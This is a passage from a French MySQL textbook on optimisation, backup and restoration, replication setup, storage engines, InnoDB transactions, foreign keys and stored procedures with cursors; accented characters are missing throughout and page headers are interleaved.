Ensuite, vous pouvez demander loptimiseur de jointure dexaminer les distributions
des cls et donc de mieux optimiser les jointures laide de lutilitaire myisamchk ou de
linstruction ANALYZE TABLE, qui sont quivalents. Vous pouvez invoquer cet outil grce
la ligne suivante :
myisamchk --analyze

chemin_de_la_base_de_donnes_MySQL/table

Vous pouvez vrifier plusieurs tables en les indiquant toutes sur la ligne de commande
ou en utilisant la syntaxe suivante :
myisamchk --analyze chemin_de_la_base_de_donnes_MySQL/*.MYI

Pour vrifier toutes les tables de toutes les bases de donnes, utilisez la commande
suivante :
myisamchk --analyze chemin_du_rpertoire_de_donnes_MySQL/*/*.MYI

Vous pouvez galement numrer les tables dans une instruction ANALYZE TABLE
partir du moniteur MySQL :
analyze table clients, commandes, livres_commandes, livres;

Troisimement, vous pouvez envisager lajout dun nouvel index dans la table. Si la
requte est la fois lente et classique, cette opration est fortement recommande. Sil
sagit dune requte que vous ne serez plus amen effectuer, cette modification nen
vaut probablement pas la peine, dautant plus quelle pourrait ralentir dautres choses.

320

Partie II

Utilisation de MySQL

Si la colonne possible keys de EXPLAIN contient plusieurs valeurs NULL, vous pouvez
amliorer les performances de votre requte en ajoutant un index dans la table en question. Si la colonne que vous utilisez dans votre clause WHERE peut accepter un index,
vous pouvez vous servir de la commande suivante pour en crer un :
ALTER TABLE table ADD INDEX (colonne);

Astuces gnrales doptimisation


Outre les conseils doptimisation des requtes que nous venons de prsenter, il existe
plusieurs mesures que vous pouvez prendre pour amliorer globalement les performances
de votre base de donnes MySQL.
Optimisation de larchitecture
Dune manire gnrale, tous les lments de votre base de donnes doivent tre aussi
petits que possible. Pour cela, vous pouvez commencer par choisir une architecture
correcte, qui minimise les redondances. Vous pouvez galement choisir les types de
donnes les plus petits possibles pour vos colonnes. Il faut galement viter les valeurs
NULL autant que faire se peut et rendre vos cls primaires aussi courtes que possible.
vitez les colonnes largeur variable (comme VARCHAR, TEXT ou BLOB). Si vos tables
possdent des champs de largeur fixe, elles seront plus rapides utiliser, bien quelles
ncessitent plus de place.
Permissions
Outre les recommandations que nous venons de voir propos d EXPLAIN, vous pouvez
amliorer la vitesse de vos requtes en simplifiant les permissions. Nous avons dj
expliqu la manire dont les requtes sont vrifies par le systme de permissions avant
dtre excutes. Plus ce processus est simple, plus vos requtes seront excutes rapidement.
Optimisation des tables
Quand une table a t utilise pendant un certain temps, ses donnes peuvent tre fragmentes si vous y avez apport des mises jour et des suppressions. Cette fragmentation ralentit les recherches dans cette table. Vous pouvez corriger cette situation grce
linstruction suivante :
OPTIMIZE TABLE nomtable;

ou en tapant cette commande linvite du systme dexploitation :


myisamchk -r table

Chapitre 12

Administration MySQL avance

321

Vous pouvez galement vous servir de lutilitaire myisamchk pour trier lindex dune
table et les donnes conformment cet index, comme ceci :
myisamchk --sort-index --sort-records=1
chemin_du_rpertoire_de_donnes_MySQL/*/*.MYI

Utilisation des index


Pour acclrer les requtes, servez-vous des index lorsque cela est ncessaire. Restez
simple et ne crez pas dindex superflus qui ne seront pas utiliss par vos requtes. Vous
pouvez vrifier si un index sera utilis en excutant EXPLAIN, comme nous lavons dj
vu.
Utiliser des valeurs par dfaut
Lorsque cela est possible, utilisez des valeurs par dfaut pour les colonnes et ninsrez
des donnes que si elles sont diffrentes de la valeur par dfaut. Cela permet de rduire
le temps dexcution de linstruction INSERT.
Autres astuces
Il existe beaucoup dautres astuces pour amliorer les performances dans des situations
particulires ou lorsque vous avez des besoins prcis. Le site web de MySQL, http://
www.mysql.com, propose plusieurs astuces de ce genre.

Sauvegarder votre base de donnes MySQL


Avec MySQL, vous disposez de plusieurs possibilits pour raliser une sauvegarde.
La premire mthode consiste verrouiller les tables, avec une commande LOCK
TABLES, et copier les fichiers physiques situs sur le disque dur. Voici la syntaxe de
cette commande :
LOCK TABLES table type_verrou [, table type_verrou ...]

Chaque table doit tre dsigne par son nom et le type du verrou peut tre READ ou
WRITE. Pour une sauvegarde vous navez normalement besoin que dun verrou en
lecture (READ). Vous devez galement excuter une commande FLUSH TABLES afin de
vous assurer que toutes les modifications de vos index ont t crites sur le disque avant
de raliser une sauvegarde.
Pendant cette sauvegarde, les utilisateurs et les scripts pourront continuer excuter des
requtes ne demandant quun accs en lecture. Cependant, si votre serveur doit satisfaire un gros volume de requtes modifiant la base de donnes, comme des commandes
de clients, cette solution est viter.

322

Partie II

Utilisation de MySQL

La seconde mthode, qui est suprieure, implique le recours la commande


mysql dump. Son utilisation (depuis la ligne de commande du systme dexploitation)
est gnralement de la forme :
mysqldump --opt --all-databases > all.sql

Cette ligne de commande crira dans le fichier all.sql tout le code SQL ncessaire la
reconstruction de la base de donnes.
Ensuite, il est prfrable darrter pendant un moment le processus mysqld et de le redmarrer avec loption log bin[=fichierlog]. De cette faon, les mises jour seront
enregistres dans le fichier log, ce qui vous permettra de disposer des modifications
ralises sur la base de donnes depuis votre opration de sauvegarde (les fichiers log
doivent bien sr tre sauvegards lors de toutes les oprations de sauvegarde des
fichiers).
Une troisime mthode consiste utiliser le script mysqlhotcopy, que vous pouvez
appeler de la faon suivante :
mysqlhotcopy database /chemin/vers/sauvegarde

Vous devez ensuite suivre le processus de dmarrage et darrt de la base de donnes,


comme nous lavons indiqu prcdemment.
Une dernire mthode de sauvegarde (et de reprise) consiste grer une copie rplique
de la base de donnes. La rplication est traite plus loin dans ce chapitre.

Restauration de votre base de donnes MySQL


Pour restaurer une base de donnes MySQL, vous disposez de deux possibilits. Si le
problme provient dune table abme, vous pouvez lancer myisamchk avec loption r
(rparation).
Si vous avez employ la premire mthode de sauvegarde, vous pouvez copier les
fichiers de donnes aux mmes emplacements que les originaux dans une nouvelle
installation MySQL.
Si vous avez utilis la seconde mthode, il vous faut raliser deux tapes. Vous devez en
premier lieu excuter les requtes contenues dans le fichier de sauvegarde afin de
reconstruire la base de donnes dans ltat o elle se trouvait au moment de la sauvegarde. Puis vous devez mettre jour la base de donnes jusquau point stock dans le
log binaire. Vous pouvez le faire en excutant la commande :
mysqlbinlog hte-bin.[0-9]* | mysql

Vous trouverez plus dinformations sur les oprations de sauvegarde et de restauration


sur le site web de MySQL, http://www.mysql.com.

Chapitre 12

Administration MySQL avance

323

Implmenter la rplication
La rplication est une technique grce laquelle plusieurs serveurs de base de donnes
peuvent servir les mmes donnes. Il est ainsi possible dquilibrer la charge et
damliorer la fiabilit du systme. Si un systme est en panne, les autres peuvent
toujours tre interrogs. Une fois configure, la rplication peut galement tre utilise
pour raliser des sauvegardes.
Lide fondamentale consiste avoir un serveur matre et lui ajouter un certain
nombre desclaves. Chacun des esclaves offre une rplication en miroir du matre. Lorsque vous configurez initialement les esclaves, vous copiez un instantan de toutes les
donnes du matre ce moment prcis. Puis les esclaves demandent des mises jour de
la part du matre. Le matre transmet les dtails des requtes excutes grce son journal
binaire et les esclaves rappliquent ces requtes aux donnes.
Lapproche habituelle pour utiliser cette configuration consiste appliquer les requtes
en criture au matre et les requtes en lecture aux esclaves. Des architectures plus
complexes sont galement possibles, par exemple en incluant plusieurs matres, mais
nous ne traiterons ici que du cas de figure le plus courant.
Vous devez bien comprendre que les esclaves ne possdent gnralement pas des
donnes aussi jour que celles du matre. Cet tat de fait se produit dans nimporte
quelle base de donnes distribue.
Pour entamer la configuration dune architecture matre/esclaves, vous devez vous
assurer que la journalisation binaire est active sur le matre. Pour plus dinformations
ce sujet, consultez lAnnexe A.
Vous devez diter votre fichier my.ini ou my.cnf sur les serveurs matre et esclave. Sur le
matre, utilisez la configuration suivante :
[mysqld]
log-bin
server-id=1

Le premier rglage active la journalisation binaire (il devrait donc dj tre prsent ; sil
ne lest pas, ajoutez-le). Le second donne votre matre un identifiant unique. Chaque
esclave requiert galement un identifiant : vous devez donc ajouter une ligne semblable
aux fichiers my.ini/my.cnf sur chacun des esclaves. Assurez-vous que ces nombres
soient uniques ! Par exemple, votre premier esclave pourrait tre paramtr avec
server id=2, le second, avec server id=3, etc.
Configurer le matre
Sur le matre, vous devez crer un utilisateur pour la connexion des esclaves. Il existe
un niveau de privilge spcial pour les esclaves, appel esclave de rplication. Selon la

324

Partie II

Utilisation de MySQL

manire dont vous prvoyez de raliser le transfert de donnes initial, il se peut que
vous deviez temporairement accorder certains privilges supplmentaires.
Dans la plupart des cas, vous utiliserez un instantan de la base de donnes pour transfrer les donnes, et, dans ce cas, seul le privilge spcial esclave de rplication est
ncessaire. Si vous dcidez dutiliser la commande LOAD DATA FROM MASTER pour transfrer les donnes (voir la prochaine section), lutilisateur aura besoin des privilges
RELOAD, SUPER et SELECT, mais uniquement pour la configuration initiale. Selon le principe du moindre privilge expos au Chapitre 9, vous devrez rvoquer ces autres privilges une fois que le systme est oprationnel.
Crez un utilisateur sur le matre. Vous pouvez lui attribuer le nom et le mot de passe de
votre choix, mais ne perdez pas ces informations. Dans notre exemple, nous appellerons
cet utilisateur esc rep :
grant replication slave
on *.*
to esc_rep@% identified by motdepasse;

Remplacez videmment motdepasse par le mot de passe de votre choix.


Raliser le transfert de donnes initial
Il existe plusieurs moyens de transfrer les donnes depuis le matre vers lesclave. Le
plus simple consiste configurer les esclaves (voir la section suivante) et excuter une
instruction LOAD DATA FROM MASTER. Le problme avec cette approche tient ce que les
tables sur le matre seront verrouilles pendant que les donnes sont transfres.
Comme cette opration peut prendre un certain temps, nous ne conseillons pas cette
mthode (vous ne pouvez lutiliser que si vous utilisez des tables MyISAM).
En gnral, il est prfrable de prendre un instantan de la base de donnes. Pour cela,
vous pouvez utiliser les procdures dcrites pour la ralisation des sauvegardes dans ce
chapitre. Vous devez au pralable purger les tables avec linstruction suivante :
flush tables with read lock;

Le verrou en lecture est requis parce que vous devez enregistrer la position du serveur
dans son journal binaire lorsque linstantan est effectu. Vous pouvez le faire en excutant
linstruction suivante :
show master status;

Cette instruction doit produire une sortie comme celle-ci :


+----------------------+----------+--------------+------------------+
| File
| Position | Binlog_Do_DB | Binlog_Ignore_DB |
+----------------------+----------+--------------+------------------+
| laura-ltc-bin.000001 |
95 |
|
|
+----------------------+----------+--------------+------------------+

Chapitre 12

Administration MySQL avance

325

Notez le fichier et la position. Vous aurez besoin de ces informations pour configurer les
esclaves.
Puis prenez votre instantan et dverrouillez les tables avec linstruction suivante :
unlock tables;

Si vous utilisez des tables InnoDB, le moyen le plus simple consiste utiliser loutil
InnoDB Hot Backup, propos par Innobase Oy ladresse http://www.innodb.com. Il
ne sagit pas dun logiciel libre et sa licence nest pas gratuite. Sinon vous pouvez utiliser la procdure dcrite ici et, avant de dverrouiller les tables, fermer le serveur
MySQL et copier le rpertoire entier pour la base de donnes que vous souhaitez rpliquer
avant de redmarrer le serveur et de dverrouiller les tables.
Configurer lesclave ou les esclaves
Deux options vous sont proposes pour configurer lesclave ou les esclaves. Si vous
avez effectu un instantan de votre base de donnes, commencez par linstaller sur le
serveur esclave.
Ensuite, excutez les requtes suivantes sur votre esclave :
change master to
master-host=serveur,
master-user=utilisateur,
master-password=motdepasse,
master-log-file=fichier_journal,
master-log-pos=pos_journal;
start slave;

Vous devez remplacer les donnes en italique. serveur correspond au nom du serveur
matre. utilisateur et motdepasse proviennent de linstruction GRANT que vous avez
excute sur le serveur matre. fichier journal et pos journal proviennent de la sortie
de linstruction SHOW MASTER STATUS que vous avez excute sur le serveur matre.
Votre systme de rplication doit maintenant tre oprationnel.
Si vous navez pas effectu dinstantan, vous pouvez charger les donnes depuis le
matre aprs avoir excut la requte prcdente en excutant linstruction suivante :
load data from master;

Pour aller plus loin


Dans ces chapitres sur MySQL, nous nous sommes intresss aux utilisations et aux
parties du systme les plus troitement associes au dveloppement web, ainsi qu la
liaison entre MySQL et PHP.
Si vous souhaitez approfondir vos connaissances concernant MySQL, vous pouvez
visiter le site web de MySQL, http://www.mysql.com.

326

Partie II

Utilisation de MySQL

Vous pouvez galement consulter le livre MySQL 5, Guide officiel de Paul Dubois,
publi par les ditions Pearson Education France en 2006.

Pour la suite
Dans le chapitre suivant, nous examinerons certaines des fonctionnalits avances de
MySQL utiles pour la programmation dapplications web, comme le choix des moteurs
de stockage, les transactions et les procdures stockes.

13
Programmation MySQL avance
Dans ce chapitre, nous traiterons de sujets MySQL plus avancs, comme les types de
tables, les transactions et les procdures stockes.

Linstruction LOAD DATA INFILE


Linstruction LOAD DATA INFILE fait partie des fonctionnalits utiles de MySQL que
nous navons pas encore traites. Elle permet de charger des tables partir dun fichier
et sexcute trs rapidement.
Cette commande flexible possde de nombreuses options, mais elle sutilise le plus
souvent de la manire suivante :
LOAD DATA INFILE "nouveaux_livres.txt" INTO TABLE livres;

Cette ligne lit les lignes du fichier newbooks.txt et les insre dans la table livres. Par
dfaut, les champs de donnes dans le fichier doivent tre spars par des tabulations et
entours dapostrophes, chaque ligne tant spare par un caractre de nouvelle ligne
(\n). Les caractres spciaux doivent tre protgs par un antislash ( \). Toutes ces
caractristiques sont configurables grce aux diverses options de linstruction LOAD ;
pour plus dinformations ce sujet, consultez le manuel MySQL.
Pour utiliser linstruction LOAD DATA INFILE, lutilisateur doit possder le privilge
FILE prsent au Chapitre 9.

Les moteurs de stockage


MySQL supporte un certain nombre de moteurs de stockage, que lon appelle parfois
aussi types de tables. En dautres termes, vous pouvez choisir limplmentation sousjacente des tables. Chaque table dune mme base de donnes peut utiliser un moteur de

328

Partie II

Utilisation de MySQL

stockage diffrent et les tables peuvent aisment tre converties pour passer dun type
un autre.
Pour choisir le type de table lorsque vous crez votre table, utilisez linstruction
suivante :
CREATE TABLE table TYPE=type ....

Les types de tables gnralement disponibles sont les suivants :


m

MyISAM. Il sagit du type par dfaut et cest celui que nous avons utilis jusqu
prsent dans ce livre. Il est fond sur le type ISAM (Indexed Sequential Access
Method, ou "mthode daccs squentiel index) traditionnel, une mthode standard pour stocker les enregistrements et les fichiers. MyISAM offre un certain
nombre davantages supplmentaires par rapport au type ISAM. Par comparaison
avec les autres moteurs de stockage, MyISAM est celui qui possde le plus doutils
pour la vrification et la rparation des tables. Les tables MyISAM peuvent tre
compresses et supportent la recherche plein texte. En revanche, elles ne permettent pas dexcuter des transactions de faon sre et ne reconnaissent pas les cls
trangres.
MEMORY (auparavant appele HEAP). Les tables de ce type sont stockes en
mmoire et leurs index sont hachs. Les tables MEMORY sont ainsi extrmement
rapides, mais vos donnes seront perdues si le serveur se plante. Ces caractristiques font des tables MEMORY des candidates idales pour le stockage de donnes
temporaires ou drives. Vous devez indiquer MAX ROWS dans linstruction CREATE
TABLE ; sinon ces tables pourraient consommer toute votre mmoire. En outre, elles
ne peuvent pas possder de colonnes de types BLOB, TEXT ou AUTO INCREMENT.
MERGE. Ces tables vous permettent de traiter une collection de tables MyISAM
comme une seule table lors de vos requtes. Il est ainsi possible de contourner les
limites relatives la taille de fichier maximale sur certains systmes dexploitation.
ARCHIVE. Ces tables permettent de stocker de gros volumes de donnes avec une
empreinte mmoire minimale. Les tables de ce type nautorisent que les requtes
INSERT et SELECT ; vous ne pouvez pas leur appliquer dinstructions DELETE, UPDATE
ou REPLACE. En outre, elles nutilisent pas dindex.
CSV. Ces tables sont stockes sur le serveur sous la forme dun unique fichier
contenant des valeurs spares par des virgules. Lavantage de ce type de table
napparat que lorsque vous devez consulter ou manipuler des donnes dans un
tableur comme Microsoft Excel.
InnoDB. Ces tables permettent deffectuer des transactions correctement
puisquelles fournissent les fonctionnalits COMMIT et ROLLBACK. Les tables InnoDB
savent galement grer les cls trangres. Pour certaines applications, tous ces

Chapitre 13

Programmation MySQL avance

329

avantages peuvent compenser le fait quelles sont plus lentes que les tables
MyISAM.
Dans la plupart des applications web, vous utiliserez gnralement des tables MyISAM
ou InnoDB, ou une combinaison des deux.
Vous devriez choisir des tables MyISAM lorsque vous excutez un grand nombre
dinstructions SELECT ou INSERT (non entrelaces) sur une table car il sagit du moyen
le plus rapide de le faire. Pour de nombreuses applications web comme les catalogues
de produits, MyISAM est le meilleur choix. Vous devriez galement utiliser MyISAM
si vous avez besoin de fonctionnalits de recherche en plein texte. En revanche, utilisez
le moteur de stockage InnoDB lorsque les transactions sont importantes, par exemple
pour les tables stockant des donnes financires ou dans le cas o les instructions
INSERT et SELECT sont entrelaces, comme dans les forums en ligne.
Vous pouvez utiliser des tables MEMORY pour les tables temporaires ou pour implmenter des vues. Les tables MERGE sont utiles si vous devez grer des tables MyISAM
de trs grande taille.
Vous pouvez modifier le type dune table aprs sa cration laide dune instruction
ALTER TABLE, comme ceci :
alter table commandes type=innodb;
alter table livres_commandes type=innodb;

Dans la majeure partie de ce livre, nous avons utilis des tables MyISAM. Nous nous
concentrerons prsent sur lutilisation des transactions et leurs implmentations dans
les tables InnoDB.

Les transactions
Les transactions sont des mcanismes qui assurent la cohrence des bases de donnes,
notamment dans lventualit dune erreur ou dun plantage du serveur. Dans les sections
qui suivent, nous expliquerons ce que sont les transactions et comment les implmenter
avec InnoDB.
Comprendre la dfinition des transactions
Il convient tout dabord de dfinir le terme transaction. Une transaction est une requte
ou un ensemble de requtes dont il est garanti quil sera soit entirement excut sur la
base de donnes, soit pas excut du tout. La base de donnes restera donc toujours
dans un tat cohrent, que la transaction soit ralise ou non.
Pour mieux comprendre limportance de cette caractristique, considrez une base de
donnes doprations bancaires et imaginez que vous souhaitiez transfrer de largent
dun compte un autre. Cette action implique de supprimer largent dun compte et de

330

Partie II

Utilisation de MySQL

linsrer dans un autre, ce qui ncessite au moins deux requtes. Il est de la plus haute
importance que ces deux requtes soient excutes toutes les deux ou quelles ne soient
excutes ni lune ni lautre. Si vous retirez largent dun compte et quune panne de
courant survienne avant que vous ne layez plac dans lautre compte, que se passera-t-il ?
Largent aura disparu ?
Vous avez peut-tre dj entendu parler de la conformit ACID. ACID est un acronyme
dcrivant quatre conditions que les transactions doivent satisfaire :
m

m
m

Atomicit. Les transactions doivent tre atomiques. Autrement dit, elles doivent
tre soit entirement excutes, soit pas du tout excutes.
Cohrence. Les transactions doivent laisser la base de donnes dans un tat cohrent.
Isolation. Les transactions non termines ne doivent pas tre visibles pour les autres
utilisateurs de la base de donnes ; autrement dit, elles doivent rester isoles tant
quelles ne sont pas termines.
Durabilit. Une fois crites dans la base de donnes, les transactions doivent rester
permanentes ou durables.

Une transaction qui a t crite de manire permanente dans la base de donnes est dite
valide. Une transaction qui nest pas crite dans la base de donnes (de sorte que la
base de donnes est replace dans ltat qui tait le sien avant que la transaction ne
commence) est dite annule.
Utiliser des transactions avec InnoDB
Par dfaut, MySQL sexcute en mode autocommit, ce qui signifie que chaque instruction
que vous excutez est immdiatement crite (valide) dans la base de donnes. Si vous utilisez un type de table transactionnel, vous ne voudrez srement pas de ce comportement.
Pour dsactiver le mode autocommit dans la session courante, tapez :
set autocommit=0;

Lorsque le mode autocommit est activ, vous pouvez le dsactiver temporairement


avec linstruction suivante :
start transaction;

Lorsque vous avez fini dentrer les instructions qui constituent une transaction, vous
pourrez la valider dans la base de donnes en tapant simplement :
commit;

Si vous avez chang davis, vous pouvez revenir ltat prcdent de la base de
donnes en tapant :
rollback;

Chapitre 13

Programmation MySQL avance

331

Tant que vous navez pas valid une transaction, cette dernire nest pas visible pour les
autres utilisateurs ni dans dans les autres sessions.
titre dexemple, excutez ces instructions ALTER TABLE sur votre base de donnes
livres si vous ne lavez pas dj fait en lisant la section prcdente.
alter table livres_commandes=innodb;
alter table commandes type=innodb;

Ces instructions convertissent deux des tables en tables InnoDB (vous pourrez les
reconvertir par la suite si vous le souhaitez, en excutant ces mmes instructions mais
avec type=MyISAM).
Puis ouvrez deux connexions la base de donnes livres. Dans une connexion, ajoutez
une nouvelle commande de livre la base de donnes :
insert into commandes values (5, 2, 69.98, 2008-06-18);
insert into livres_commandes values (5, 0-672-31697-8, 1);

Vrifiez que vous pouvez voir cette nouvelle commande :


select * from commandes where idcommande=5;

Vous devriez voir ce rsultat safficher :


+------------+----------+---------+------------+
| idcommande | idclient | montant | date
|
+------------+----------+---------+------------+
|
5 |
2 |
69.98 | 2008-06-18 |
+------------+----------+---------+------------+

Conservez cette connexion ouverte, accdez votre autre connexion et excutez la


mme requte de slection. Vous ne devriez cette fois pas pouvoir voir la commande :
Empty set (0.00 sec)

(Si vous la voyez, cest srement parce que vous navez pas dsactiv le mode autocommit. Vrifiez et assurez-vous que vous avez bien converti la table au format
InnoDB. En effet, la transaction na pas encore t valide cest lillustration du principe disolation des transactions.)
prsent, revenez la premire connexion et validez la transaction :
commit;

Vous devriez maintenant pouvoir retrouver la ligne dans votre autre connexion.

Les cls trangres


InnoDB reconnat galement les cls trangres, que nous avons traites au Chapitre 8.
Lorsque vous utilisez des tables MyISAM, vous navez aucun moyen de faire appliquer
les contraintes lies aux cls trangres.

332

Partie II

Utilisation de MySQL

Dans le cas de linsertion dune ligne dans la table livres commandes, vous devez
inclure un idcommande valide. Avec MyISAM, vous devez vrifier quelque part dans le
code de votre application la validit de lidentifiant idcommande que vous insrez. Grce
aux cls trangres dans InnoDB, vous pouvez laisser la base de donnes le soin de
raliser cette vrification pour vous.
Pour crer la table pour quelle utilise une cl trangre, vous pouvez changer linstruction
de cration de table comme suit :
create table livres_commandes
( idcommande int unsigned not null references commandes(idcommande),
isbn char(13) not null,
quantite tinyint unsigned,
primary key (idcommande, isbn)
) type=InnoDB;

Les termes references commandes(idcommande) aprs idcommande signifient que cette


colonne est une cl trangre qui doit contenir une valeur de la colonne idcommande de
la table commandes.
Pour finir, nous avons ajout le type de table type=InnoDB la fin de la dclaration.
Cette indication est requise pour que les cls trangres fonctionnent.
Vous pouvez galement apporter ces modifications une table existante, en utilisant des
instructions ALTER TABLE :
alter table livres_commandes type=InnoDB;
alter table livres_commandes
add foreign key (idcommande) references commandes(idcommande);

Pour voir si la modification a fonctionn, essayez dinsrer une ligne avec un idcommande
qui nexiste pas dans la table commandes :
insert into livres_commandes values (77, 0-672-31697-8, 7);

Vous devriez alors obtenir une erreur comme celle-ci :


ERROR 1452 (23000): Cannot add or update a child row:
a foreign key constraint fails

Les procdures stockes


Une procdure stocke est une fonction cre et stocke lintrieur de MySQL. Cette
fonction peut tre constitue dinstructions SQL et dun certain nombre de structures de
contrle spciales. Elle peut tre utile lorsque vous souhaitez excuter la mme fonction partir de diverses applications ou plates-formes ou pouvoir encapsuler des
fonctionnalits. Les procdures stockes dans une base de donnes peuvent tre considres comme analogues lapproche oriente objet en programmation. Elles vous
permettent de contrler le mode daccs aux donnes.
Commenons par un exemple simple.

Chapitre 13

Programmation MySQL avance

333

Un exemple simple
Le Listing 13.1 dclare une procdure stocke.
Listing 13.1 : procedure_stockee_basique.sql Dclaration dune procdure stocke
# Exemple simple de procdure stocke
delimiter //
create procedure total_commandes (out total float)
BEGIN
select sum(montant) into total from commandes;
END
//
delimiter;

tudions ce code ligne par ligne.


La premire instruction :
delimiter //

modifie le dlimiteur de fin dinstruction en remplaant sa valeur courante (en gnral,


un point-virgule, moins que vous ne layez change prcdemment) par une double
barre de fraction. Cette tape est ncessaire afin de pouvoir utiliser le dlimiteur de
point-virgule dans la procdure stocke lorsque vous entrez le code de la procdure
sans que MySQL nessaie dexcuter le code en cours de route.
La ligne suivante :
create procedure total_commandes (out total float)

cre la procdure stocke elle-mme. Le nom de cette procdure est total commandes.
Elle possde un unique paramtre, appel total, qui correspond la valeur que vous
essayez de calculer. Le terme OUT indique que ce paramtre est pass en mode sortie
(cest la fonction qui le remplira).
Les paramtres peuvent galement tre dclars en mode IN, qui signifie que la valeur
est passe la procdure, ou en mode INOUT, qui signifie que la valeur est passe la
procdure mais que cette dernire peut la modifier.
Le terme float indique le type du paramtre. Ici, on renvoie un total de toutes les
commandes de la table commandes. Le type de la colonne montant de commandes tant
float, cest une valeur de ce type qui sera donc renvoye. Les types de donnes
autoriss dans les procdures stockes sont les mmes que les types de colonne autoriss.

334

Partie II

Utilisation de MySQL

Si vous souhaitez passer plusieurs paramtres, vous pouvez utiliser une liste de paramtres
spars par des virgules, comme en PHP.
Le corps de la procdure est entour par les instructions BEGIN et END. Ces instructions sont analogues aux accolades en PHP ( {}) car elles dlimitent un bloc
dinstructions.
Le corps de la procdure excute simplement une instruction SELECT. La seule diffrence par rapport une instruction normale tient ce que lon utilise la clause into
total afin de charger le rsultat de la requte dans le paramtre total.
Aprs avoir dclar la procdure, on redfinit le dlimiteur comme tant le pointvirgule :
delimiter;

Une fois que la procdure a t dclare, vous pouvez lappeler en utilisant le mot-cl
call, comme ici :
call total_commandes(@t);

Cette instruction appelle la procdure total commandes en lui passant une variable
pour rcuprer le rsultat. Vous devez ensuite examiner cette variable :
select @t;

Le rsultat doit tre de la forme :


+-----------------+
| @t
|
+-----------------+
| 289.92001152039 |
+-----------------+

Vous pouvez galement crer des fonctions. Une fonction accepte uniquement des paramtres en mode lecture et renvoie une seule valeur.
Comme le montre le Listing 13.2, la syntaxe de base est quasiment identique.
Listing 13.2 : fonction_basique.sql Dclaration dune fonction stocke
# syntaxe de base pour crer une fonction
delimiter //
create function prix_ttc(prix float) returns float
return prix * 1.1;
//
delimiter;

Chapitre 13

Programmation MySQL avance

335

Comme vous pouvez le constater, cet exemple utilise le mot-cl function au lieu de
procedure, mais il y a galement deux autres diffrences.
Les paramtres nont pas besoin dtre prciss en tant que IN ou OUT car ils sont ncessairement tous en mode IN. Aprs la liste des paramtres, vous pouvez voir la clause
returns float. Elle indique le type de la valeur de retour. Ce type, ici aussi, peut tre
nimporte quel type MySQL valide.
Pour renvoyer une valeur, on utilise linstruction return, comme en PHP.
Notez que cet exemple nutilise pas les instructions BEGIN et END. Vous pourriez les utiliser, mais elles ne sont pas requises. Comme en PHP, si un bloc dinstructions ne contient
quune seule instruction, vous navez pas besoin den marquer le dbut et la fin.
Lappel dune fonction est un peu diffrent de lappel dune procdure. Vous pouvez
appeler une fonction stocke de la mme manire que vous appelleriez une fonction
prdfinie :
select prix_ttc(100);

Cette instruction doit produire le rsultat suivant :


+---------------+
| prix_ttc(100) |
+---------------+
|
110 |
+---------------+

Vous pouvez visualiser le code utilis pour dfinir les procdures et les fonctions stockes
laide des instructions suivantes :
show create procedure total_commandes;

ou
show create function prix_ttc;

Vous pouvez les supprimer avec :


drop procedure total_commandes;

ou
drop function prix_ttc;

Les procdures stockes offrent la possibilit dutiliser des structures de contrle, des
variables, des gestionnaires DECLARE (comme les exceptions) et des curseurs. Nous
allons examiner chacun de ces outils dans les sections qui suivent.
Variables locales
Vous pouvez dclarer des variables locales dans un bloc begin...end en utilisant une
instruction declare. Vous pourriez, par exemple, modifier la fonction prix ttc de

336

Partie II

Utilisation de MySQL

manire utiliser une variable locale pour stocker le taux de la taxe, comme le montre
le Listing 13.3.
Listing 13.3 : fonction_basique.sql Dclaration dune fonction stocke avec
des variables
# Syntaxe de base pour crer une fonction
delimiter //
create function prix_ttc (prix float) returns float
begin
declare taxe float default 0.10;
return prix * (1 + taxe);
end
//
delimiter;

Comme vous pouvez le constater, vous dclarez la variable avec declare suivi du nom
de la variable. La clause default est facultative et permet daffecter une valeur initiale
la variable. Vous pouvez ensuite utiliser la variable de faon classique.
Curseurs et structures de contrle
tudions un exemple plus complexe. Ici, on veut crire une procdure stocke qui
dtermine la commande dont le montant est le plus grand et en retourne lidentifiant
idcommande (on pourrait videmment obtenir le mme rsultat avec une simple requte,
mais nous voulons montrer ici comment utiliser les curseurs et les structures de
contrle). Le code de cette procdure stocke est prsent dans le Listing 13.4.
Listing 13.4 : structures_controle_curseurs.sql Utilisation de curseurs et de boucles
pour traiter un ensemble rsultat
# Procdure permettant de retrouver lidcommande du plus grand montant
# Peut tre ralise avec max, mais illustre les principes des procdures
# stockes
delimiter //
create procedure max_commande(out max_id int)
begin
declare cet_id int;
declare ce_montant float;
declare l_montant float default 0.0;
declare l_id int;
declare fini int default 0;

Chapitre 13

Programmation MySQL avance

337

declare continue handler for sqlstate 02000 set fini = 1;


declare c1 cursor for select idcommande, montant from commandes;
open c1;
repeat
fetch c1 into cet_id, ce_montant;
if not fini then
if ce_montant > l_montant then
set l_montant = ce_montant;
set l_id = cet_id;
end if;
end if;
until fini end repeat;
close c1;
set max_id = l_id;
end
//
delimiter;

Ce code utilise des structures de contrle (des structures conditionnelles et des


boucles), des curseurs et des gestionnaires declare. tudions-le ligne par ligne.
Au dbut de la procdure, on dclare un certain nombre de variables locales utiliser
dans la procdure. Les variables cet id et ce montant stockent les valeurs de idcom
mande et de montant pour la ligne courante. Les variables l montant et l id stockent le
montant de commande le plus lev et lidentifiant correspondant. Comme on veut
dterminer le plus grand montant en comparant chaque valeur la valeur la plus leve
actuellement, on initialise cette variable zro.
La variable suivante est fini, qui est initialise zro (faux). Cette variable sert de test
de boucle. Lorsquil ny a plus de ligne examiner, on le positionne 1 (vrai).
La ligne :
declare continue handler for sqlstate 02000 set fini = 1;

est appele gestionnaire declare. Elle ressemble une exception dans les procdures
stockes. Vous pouvez galement implmenter des gestionnaires continue et des
gestionnaires exit. Les gestionnaires continue, comme celui prsent ici, ralisent
laction indique puis poursuivent lexcution de la procdure, tandis que les gestionnaires exit quittent le bloc begin...end le plus proche.
La partie suivante du gestionnaire declare indique quel moment le gestionnaire sera
appel. Ici, il sera appel lorsque sqlstate 02000 est atteint, ce qui est un moyen
cryptique de signifier que lappel se fera lorsque aucune ligne nest trouve. Vous traitez un ensemble rsultat ligne par ligne et, lorsque vous tes court de lignes, ce

338

Partie II

Utilisation de MySQL

gestionnaire sera appel. Vous pourriez galement indiquer FOR NOT FOUND, ce qui est
quivalent. Les autres options sont SQLWARNING et SQLEXCEPTION.
Vient ensuite un curseur. Celui-ci sapparente assez un tableau. Il rcupre un
ensemble rsultat dune requte (comme celui renvoy par mysqli query()) et vous
permet de le traiter ligne par ligne (comme vous le feriez par exemple avec
mysqli fetch row()). Considrez le curseur suivant :
declare c1 cursor for select idcommande, montant from commandes;

